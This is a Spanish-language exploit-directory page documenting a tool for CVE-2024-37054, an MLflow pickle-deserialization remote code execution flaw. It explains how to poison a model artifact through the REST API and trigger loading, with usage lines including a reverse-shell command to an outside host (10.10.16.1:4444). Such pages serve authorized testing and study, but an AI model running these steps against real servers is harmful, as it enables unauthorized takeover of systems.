Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-37054 — CVE-2024-37054 exploit y documentación | Kitploit
Herramientas/GitHubGitHub/tristanqtn/cve-2024-37054
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 exploit y documentación

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-37054 — RCE por deserialización en MLflow pyfunc

Gravedad: Crítica
Versiones afectadas: MLflow 0.9.0 – 2.14.1
Tipo: Ejecución arbitraria de código mediante deserialización de pickle en Python

Descripción

mlflow.pyfunc.load_model() deserializa python_model.pkl del almacén de artefactos sin ningún tipo de sanitización. Un atacante que pueda acceder a la API REST de artefactos de MLflow puede sobrescribir ese archivo con un pickle malicioso, que ejecuta comandos arbitrarios del sistema operativo la próxima vez que se cargue el modelo.

Requisitos

root@kitploit:~
pip install requests cloudpickle

Uso

root@kitploit:~
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Opciones clave

Cómo funciona

  1. Descubrir — consulta /api/2.0/mlflow/registered-models/search para encontrar un modelo y su run_id / experiment_id
  2. Envenenar — PUT de un payload cloudpickle malicioso a /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. Disparar — cualquier ruta de código que llame a mlflow.pyfunc.load_model() sobre ese modelo deserializa el payload y ejecuta el comando

El paso de disparo requiere un endpoint de aplicación que cargue el modelo. Si no se conoce ninguno, usa --no-trigger (u omite --trigger-url) y dispara la carga por cualquier medio disponible.

Descargo de responsabilidad

Solo para pruebas de penetración autorizadas y fines educativos.

Descargar herramienta
FlagDescripción
--mlflow URLURL base del servidor de seguimiento de MLflow (obligatorio)
--model NAMENombre del modelo registrado — selecciona automáticamente el primero si se omite
--version NVersión del modelo — por defecto, la última
--user / --passCredenciales de autenticación HTTP Basic para MLflow
--run-id / --exp-idOmite el descubrimiento de modelos con IDs conocidos
--trigger-url URLEndpoint de la aplicación que llama a load_model() — omítelo para subir solamente
--session COOKIECookie de sesión enviada con la solicitud de disparo